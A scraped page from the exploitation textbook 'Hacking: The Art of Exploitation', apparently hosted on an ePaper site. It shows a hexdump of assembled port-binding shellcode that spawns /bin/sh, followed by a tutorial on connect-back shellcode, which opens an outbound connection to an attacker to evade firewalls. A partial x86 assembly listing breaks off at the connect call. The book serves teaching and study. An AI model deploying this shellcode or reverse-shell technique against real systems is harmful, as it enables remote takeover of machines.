26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

eader@<strong>hacking</strong>:~/booksrc $ nasm bind_shell.s<br />

reader@<strong>hacking</strong>:~/booksrc $ hexdump -C bind_shell<br />

00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|<br />

00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 |.jfXCRfhzifS..j.|<br />

00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 |QV.....fCCSV....|<br />

00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f |.fCRRV.....j.Y.?|<br />

00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 |..Iy...Rh//shh/b|<br />

00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |in..R..S....|<br />

0000005c<br />

reader@<strong>hacking</strong>:~/booksrc $ diff bind_shell portbinding_shellcode<br />

0x550<br />

Connect-Back Shellcode<br />

Port-binding shellcode is easily foiled by firewalls. Most firewalls will block<br />

incoming connections, except for certain ports with known services. This limits<br />

<strong>the</strong> user’s exposure and will prevent port-binding shellcode from receiving a<br />

connection. S<strong>of</strong>tware firewalls are now so common that port-bind shellcode<br />

has little chance <strong>of</strong> actually working in <strong>the</strong> wild.<br />

However, firewalls typically do not filter outbound connections, since that<br />

would hinder usability. From inside <strong>the</strong> firewall, a user should be able to access<br />

any web page or make any o<strong>the</strong>r outbound connections. This means that if<br />

<strong>the</strong> shellcode initiates <strong>the</strong> outbound connection, most firewalls will allow it.<br />

Instead <strong>of</strong> waiting for a connection from an attacker, connect-back shellcode<br />

initiates a TCP connection back to <strong>the</strong> attacker’s IP address. Opening a<br />

TCP connection only requires a call to socket() and a call to connect(). This is<br />

very similar to <strong>the</strong> bind-port shellcode, since <strong>the</strong> socket call is exactly <strong>the</strong> same<br />

and <strong>the</strong> connect() call takes <strong>the</strong> same type <strong>of</strong> arguments as bind(). The following<br />

connect-back shellcode was made from <strong>the</strong> bind-port shellcode with a few<br />

modifications (shown in bold).<br />

connectback_shell.s<br />

BITS 32<br />

; s = socket(2, 1, 0)<br />

push BYTE 0x66 ; socketcall is syscall #102 (0x66).<br />

pop eax<br />

cdq<br />

; Zero out edx for use as a null DWORD later.<br />

xor ebx, ebx ; ebx is <strong>the</strong> type <strong>of</strong> socketcall.<br />

inc ebx<br />

; 1 = SYS_SOCKET = socket()<br />

push edx ; Build arg array: { protocol = 0,<br />

push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,<br />

push BYTE 0x2 ; AF_INET = 2 }<br />

mov ecx, esp ; ecx = ptr to argument array<br />

int 0x80<br />

; After syscall, eax has socket file descriptor.<br />

xchg esi, eax<br />

; Save socket FD in esi for later.<br />

; connect(s, [2, 31337, ], 16)<br />

push BYTE 0x66 ; socketcall (syscall #102)<br />

314 0x500

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!